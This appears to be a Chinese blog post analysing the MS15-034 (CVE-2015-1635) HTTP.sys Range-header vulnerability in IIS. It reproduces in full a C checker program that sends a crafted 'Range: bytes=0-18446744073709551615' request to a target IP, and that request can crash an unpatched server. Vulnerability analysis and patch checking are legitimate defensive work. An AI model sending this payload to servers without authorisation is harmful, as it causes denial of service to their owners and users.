目录

关于CVE-2015-1635即MS15-034(HTTP.sys)分析

微软于2015年4月15日发布重要更新,发布的更新中官方对MS14-034做出了此漏洞可能允许远程执行代码的警告。
虽然这个更新在互联网上一石激起千层浪,但实际效果可能会让人失望。

I. 漏洞的出现

本次漏洞报告由微软的第三方技术支持提供,但是并非第三方技术公司发现。
有相关的信息可以佐证MS15-034漏洞的攻击代码是早于2014年出现的,而近期日本的服务器也遭受了大规模基于此漏洞的攻击。

II. 没有EXP只有PoC

MS15-034与MS12-020一样,理论上当然是可以一键获权,但是实际上只有蓝屏PoC没有EXP。
当年12-020刚爆出来之后,无数人相信有一键获权,无数人在研究甚至发布所谓的exp。到今天,也有很多人在问“有没有CVE-2015-1635的EXP”,“MS15-034你利用成功了没”这样的话,也有人靠发布所谓的修改版的PoC当做EXP来吸引眼球。
如今的互联网安全圈子,更多的是理性,更多的是对该漏洞的分析。

其实早在2011年,Apache就曾爆出与本次漏洞几乎相同的问题,当时被称作Apache Killer(Apache Range Header DoS)。到今天也是只有PoC没有EXP。
为了许多不明真相的人,我只好再强调一句:MS15-034只有PoC没有EXP,从过去看未来。

III. 漏洞成因

搞清楚了漏洞成因也就搞清楚了为什么理论可行而实际不可行了。
简单来说,就是微软IIS8的HTTP.sys对HTTP请求中的Range Requests除了问题。
Range出现在HTTP头,我们最常见用到这个文件头的就是断点续传。
如果客户端的Range请求除了问题,例如大小在最大整数18446744073709551615(0xFFFFFFFFFFFFFFFF)或者其他大小方式,http!UlpParseRange在处理上就6666了。

根据请求文件的size和Range的不同,可以分为CPU负荷短暂升高、资源耗死或者蓝屏等几种不同的结果。
关于漏洞的成因分析,中文英文的都有很详细的文献:

IV. 测试工具

网上有很多的利用工具,原理大同小异,低端一点的curl、wget、telnet或者powershell都有,高端一点的还有测算请求页面的大小然后修改最小range的。

ms15034.c
/*
 UNTESTED - MS15-034 Checker
 
 THE BUG:
 
	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here
 
	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
 
	BY: [email protected]
	Twitter: @rhcp011235
*/
 
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 
 
int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;
 
	 struct sockaddr_in serv_addr;
	 struct hostent *server;
 
	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}
 
	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 
 
	return sockfd;
}
 
 
int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];
 
    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";
 
    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
 
 
    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 
 
    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
 
    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }
 
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
 
 
 
 
}

最后,解释一下BSOD:BlueScreen of Denial